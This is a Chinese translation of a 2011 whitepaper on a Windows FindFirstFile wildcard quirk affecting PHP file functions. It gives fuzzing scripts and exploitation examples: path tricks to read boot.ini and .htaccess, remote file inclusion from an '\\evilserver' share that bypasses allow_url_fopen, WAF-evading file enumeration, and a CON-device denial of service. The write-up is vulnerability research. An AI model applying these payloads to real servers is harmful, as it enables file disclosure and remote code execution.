1.開場白

此次所披露的是以下網(wǎng)頁中提出的問題所取得的測試結(jié)果：
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

<?php
for ($i=0; $i<255; $i++) {
$url = '1.ph' . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($i) . "\r\n";
}
?>

已知1.php存在，以上腳本訪問的結(jié)果是：

1.php
1.phP
1.ph<
1.ph>

都能得到返回。
前兩種能返回結(jié)果是總所周知的（因為windows的文件系統(tǒng)支持大小的互轉(zhuǎn)的機制），另外的兩種返回引起了我們的注意。
測試php版本：PHP4.9,PHP5.2,PHP5.3,PHP6.0
測試系統(tǒng)：WINXP SP3 X32,WINXP SP2 X64，WIN7,WIN2K3
經(jīng)測試我們得出的結(jié)論是：該漏洞影響所有的windows+php版本 

2.深入探查模糊測試的結(jié)果

為了繼續(xù)深入探查關(guān)于該bug的信息，我們對demo做了些許修改:

<?php
for ($j=0; $i<256; $j++) {
for ($i=0; $i<256; $i++) {
$url = '1.p' . chr($j) . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($j) . chr($i) . "\r\n";
}
}
?>

在調(diào)試php解釋器的過程中，我們將此“神奇”的漏洞歸結(jié)為一個Winapi 函數(shù)FindFirstFile(）所產(chǎn)生的結(jié)果(http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx).更好玩的是，當(dāng)跟蹤函數(shù)調(diào)用棧的過程中我們發(fā)現(xiàn)字符”>”被替換成”?”，字符”<”被替換成”*”，而符號”（雙引號）被替換成一個”.”字符。這在2007年msdn公開的文檔中被提及：http://msdn.microsoft.com/en-us/library/community/history/aa364418%28v=vs.85%29.aspx?id=3
但是此bug至今未被任何windows旗下所發(fā)行的任何版本修復(fù)！
我們要闡明的是，該函數(shù)FindFirstFile()在php下的運用遠(yuǎn)遠(yuǎn)不至于file_get_contents().關(guān)于該bug可以利用的函數(shù)我們已經(jīng)列了如下一表：

 
此外，我們還發(fā)現(xiàn)該利用也可以被運用到c++中，以下采用來自msdn的例子：

#include <windows.h>
#include <tchar.h>
#include <stdio.h>
void _tmain(int argc, TCHAR *argv[])
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
if( argc != 2 )
{
_tprintf(TEXT("Usage: %s [target_file]\n"), argv[0]);
return;
}
_tprintf (TEXT("Target file is %s\n"), argv[1]);
hFind = FindFirstFile(argv[1], &FindFileData);
if (hFind == INVALID_HANDLE_VALUE)
{
printf ("FindFirstFile failed (%d)\n", GetLastError());
return;
}
else
{
_tprintf (TEXT("The first file found is %s\n"),
FindFileData.cFileName);
FindClose(hFind);
}
}

當(dāng)傳入?yún)?shù)”c:\bo<”時，成功訪問到boot.ini文件。

3.利用方法總結(jié)

當(dāng)調(diào)用FindFirstFile()函數(shù)時，”<”被替換成”*”,這意味該規(guī)則可以使”<”替換多個任意字符，但是測試中發(fā)現(xiàn)并不是所有情況都如我們所愿。所以，為了確保能夠使”<”被替換成”*”,應(yīng)當(dāng)采用”<<”
EXAMPLE:include(‘shell<');  或者include(‘shell<<');    //當(dāng)文件夾中超過一個以shell打頭的文件時，該執(zhí)行取按字母表排序后的第一個文件。
當(dāng)調(diào)用FindFirstFile()函數(shù)時，”>”被替換成”?”,這意味這”>”可以替換單個任意字符
EXAMPLE：include(‘shell.p>p');    //當(dāng)文件中超過一個以shell.p?p 通配時，該執(zhí)行取按字母表排序后的第一個文件。
當(dāng)調(diào)用FindFirstFile()函數(shù)時，”””(雙引號)被替換成”.”
EXAMPLE:include(‘shell”php');    //===>include(‘shell.php');
如果文件名第一個字符是”.”的話，讀取時可以忽略之
EXAMPLE：fopen(‘.htacess');  //==>fopen(‘htacess');   //加上第一點中的利用 ==>fopen(‘h<<');
文件名末尾可以加上一系列的/或者\的合集，你也可以在/或者\中間加上.字符，只要確保最后一位為”.”
EXAMPLE：fopen(“config.ini\\.// \/\/\/.”);==>  fopen(‘config.ini\./.\.'); ==>fopen(‘config.ini/////.')==>fopen(‘config.ini…..')   //譯者注：此處的利用我不是很理解，有何作用？截斷？
該函數(shù)也可以調(diào)用以”\\”打頭的網(wǎng)絡(luò)共享文件，當(dāng)然這會耗費不短的時間。補充一點，如果共享名不存在時，該文件操作將會額外耗費4秒鐘的時間，并可能觸發(fā)時間響應(yīng)機制以及max_execution_time拋錯。所幸的是，該利用可以用來繞過allow_url_fopen=Off 并最終導(dǎo)致一個RFI（遠(yuǎn)程文件包含）
EXAMPLE：include (‘\\evilserver\shell.php');
用以下方法還可以切換文件的盤名
include(‘\\.\C:\my\file.php\..\..\..\D:\anotherfile.php');
選擇磁盤命名語法可以用來繞過斜線字符過濾
file_get_contents(‘C:boot.ini'); //==>  file_get_contents (‘C:/boot.ini');
在php的命令行環(huán)境下（php.exe）,關(guān)于系統(tǒng)保留名文件的利用細(xì)節(jié)
EXAMPLE:file_get_contents(‘C:/tmp/con.jpg'); //此舉將會無休無止地從CON設(shè)備讀取0字節(jié)，直到遇到eof
EXAMPLE:file_put_contents(‘C:/tmp/con.jpg',chr(0×07));  //此舉將會不斷地使服務(wù)器發(fā)出類似嗶嗶的聲音

4.更深入的利用方法

除了以上已經(jīng)展示的方法，你可以用下面的姿勢來繞過WAF或者文件名過濾
請思考該例：

<?php
file_get_contents("/images/".$_GET['a'].".jpg");
//or another function from Table 1, i.e. include().
?>

訪問test.php?a=../a<%00
可能出現(xiàn)兩種結(jié)果

Warning: include(/images/../a<) [function.include]: failed to open stream:Invalid argument in。。。
Warning: include(/images/../a<) [function.include]: failed to open stream:Permission denied。。

如果是第一種情況，說明不存在a打頭的文件，第二種則存在。
 
此外，有記錄顯示，有時網(wǎng)站會拋出如下錯誤：

Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..

這說明該文件夾下存在一個以上以a打頭的文件（夾），并且第一個就是admin_h1d3。

5.結(jié)論
實驗告訴我們，php本身沒有那么多的漏洞，我們所看到是：過分的依賴于另一種程序語言（注：如文中的漏洞產(chǎn)自與winapi的一個BUG），并且直接強 制使用，將會導(dǎo)致細(xì)微的錯誤(bug)，并最終造成危害(vul).這樣便拓寬了模糊測試的范疇（譯者注：并不僅僅去研究web層面，而深入到系統(tǒng)底層），并最終導(dǎo)致IDS，IPS的規(guī)則更新。誠然，代碼需要保護(hù)，需要補丁，需要升級與擴(kuò)充。但是，這并不是我們真正要去關(guān)注的問題。在當(dāng)下，我認(rèn)為我們 更謹(jǐn)慎地去書寫更多更嚴(yán)厲的過濾規(guī)則，正如我們一直在做的一樣。任重道遠(yuǎn)，精益求精。
因為這是基礎(chǔ)應(yīng)用層的問題，所以我們猜想類似的問題可能出現(xiàn)在其他web應(yīng)用中。于是我們還測試了mysql5,而實驗結(jié)果表明，mysql5并不存在類似的漏洞。但是我們?nèi)哉J(rèn)為：類似的漏洞將會出現(xiàn)在諸如Perl、Python、Ruby等解釋性語言上。

6.Referer

PHP application source code audits advanced technology:
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese
MSDN FindFirstFile Function reference:
http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx
MSDN comments history:
http://msdn.microsoft.com/en-us/library/community/history/aa364418(v=vs.85).aspx?id=3
MSDN article «Naming Files, Paths, and Namespaces»:
http://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspx
Technet article «Managing Files and Directories»:
http://technet.microsoft.com/en-us/library/cc722482.aspx
Paper «Technique of quick exploitation of 2blind SQL Injection»:
http://www.exploit-db.com/papers/13696/

 ==================================================================
全文完。
注：該文是2011年底發(fā)表的一篇白皮書，至今該bug依然存在。我在幾個月前做CUIT的一個CTF時偶遇了一道該bug的利用，當(dāng)時便是看的此文，當(dāng)時只是粗粗讀了一下，寫了一個php的腳本去跑目錄。今回閑來無事，翻譯整理了一番。

最新評論